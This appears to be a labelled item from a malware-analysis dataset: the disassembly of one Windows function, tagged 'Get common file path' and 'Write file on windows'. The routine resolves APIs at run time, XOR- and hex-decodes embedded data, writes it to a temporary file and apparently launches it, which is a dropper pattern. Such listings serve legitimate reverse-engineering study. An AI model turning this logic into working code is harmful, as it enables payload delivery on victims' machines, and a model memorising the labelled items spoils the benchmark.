Function at 0x426f50
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
push 0x408928
push 0x408938
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 0x408948
push 0x408958
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x408968
push 0x408978
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xac], eax
push 0xa
push 0x31b
mov eax, dword [ebp - 0xac]
push eax
call dword [ebp - 0x24]
mov dword [ebp - 0x8bc], eax
mov ecx, dword [ebp - 0x8bc]
push ecx
mov edx, dword [ebp - 0xac]
push edx
call dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x8bc]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
call dword [ebp - 8]
mov dword [ebp - 0xa8], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x8b8], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 4
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0xa8]
sub edx, 4
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x8c8], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x8b8]
shl edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00408bd0
add esp, 4
mov dword [ebp - 0x8dc], eax
mov ecx, dword [ebp - 0x8dc]
mov dword [ebp - 0x8c4], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], edx
push 0
lea eax, [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x8c4]
push ecx
mov edx, dword [ebp - 0x8c8]
push edx
mov eax, dword [ebp - 0x90]
push eax
call fcn.00426960
add esp, 0x14
push 0xa
push 0x145
mov ecx, dword [ebp - 0xac]
push ecx
call dword [ebp - 0x24]
mov dword [ebp - 0x8c0], eax
mov edx, dword [ebp - 0x8c0]
push edx
mov eax, dword [ebp - 0xac]
push eax
call dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x8c0]
push ecx
mov edx, dword [ebp - 0xac]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub eax, 4
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x8b4], 0
mov dword [ebp - 0x8cc], 0
jmp 0x4270f7
mov ecx, dword [ebp - 0x8cc]
add ecx, 1
mov dword [ebp - 0x8cc], ecx
mov edx, dword [ebp - 0x8cc]
cmp edx, dword [ebp - 0x8c]
jae 0x42715d
mov eax, dword [ebp - 0x8c4]
add eax, dword [ebp - 0x8cc]
movzx ecx, byte [eax]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x40]
add edx, dword [ebp - 0x8b4]
movsx eax, byte [edx]
xor eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x8c4]
add ecx, dword [ebp - 0x8cc]
mov byte [ecx], al
mov edx, dword [ebp - 0x8b4]
add edx, 1
mov dword [ebp - 0x8b4], edx
mov eax, dword [ebp - 0x8b4]
cmp eax, dword [ebp - 0xa4]
jne 0x42715b
mov dword [ebp - 0x8b4], 0
jmp 0x4270e8
mov ecx, dword [ebp - 0x8c]
shr ecx, 1
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa0]
push edx
call fcn.00409250
add esp, 4
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x17], ecx
mov dword [ebp - 0x13], ecx
mov byte [ebp - 0xf], cl
push 0xa
push 0
mov edx, dword [ebp - 0x9c]
push edx
call fcn.004094b0
add esp, 0xc
mov dword [ebp - 0x8d0], 0
jmp 0x4271c6
mov eax, dword [ebp - 0x8d0]
add eax, 1
mov dword [ebp - 0x8d0], eax
mov ecx, dword [ebp - 0x8d0]
cmp ecx, dword [ebp - 0xa0]
jge 0x42721c
mov edx, dword [ebp - 0x2c]
mov al, byte [edx]
mov byte [ebp - 0x18], al
mov ecx, dword [ebp - 0x2c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x17], dl
lea eax, [ebp - 0x8d4]
push eax
push 0x408988
lea ecx, [ebp - 0x18]
push ecx
call fcn.004090a0
add esp, 0xc
mov edx, dword [ebp - 0x9c]
add edx, dword [ebp - 0x8d0]
mov al, byte [ebp - 0x8d4]
mov byte [edx], al
mov ecx, dword [ebp - 0x2c]
add ecx, 2
mov dword [ebp - 0x2c], ecx
jmp 0x4271b7
mov edx, dword [ebp - 0x8c4]
mov dword [ebp - 0x8e0], edx
mov eax, dword [ebp - 0x8e0]
push eax
call fcn.00409530
add esp, 4
lea ecx, [ebp - 0x8b0]
push ecx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [ebp - 0xa4]
push edx
mov eax, dword [ebp - 0x40]
push eax
lea ecx, [ebp - 0x8b0]
push ecx
call fcn.00408f60
add esp, 0xc
push 4
push 0x40898c
lea edx, [ebp - 0x8b0]
push edx
call fcn.00408f60
add esp, 0xc
push 0x408994
lea eax, [ebp - 0x8b0]
push eax
call fcn.00409490
add esp, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x8d8], 0
jmp 0x4272ab
mov ecx, dword [ebp - 0x8d8]
add ecx, 1
mov dword [ebp - 0x8d8], ecx
mov edx, dword [ebp - 0x8d8]
cmp edx, dword [ebp - 0xa0]
jge 0x4272d8
mov eax, dword [ebp - 0x28]
push eax
push 1
push 1
mov ecx, dword [ebp - 0x9c]
add ecx, dword [ebp - 0x8d8]
push ecx
call fcn.004096a0
add esp, 0x10
jmp 0x42729c
mov edx, dword [ebp - 0x28]
push edx
call fcn.00409b80
add esp, 4
mov dword [ebp - 0x88], 0
push 0x40
push 0
lea eax, [ebp - 0x84]
push eax
call fcn.004094b0
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x88]
push ecx
call fcn.004094b0
add esp, 0xc
push 0x10
push 0
lea edx, [ebp - 0x3c]
push edx
call fcn.004094b0
add esp, 0xc
mov dword [ebp - 0x88], 0x44
push 0x408998
push 0x4089a8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x88]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x8b0]
push edx
call dword [ebp - 0x98]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10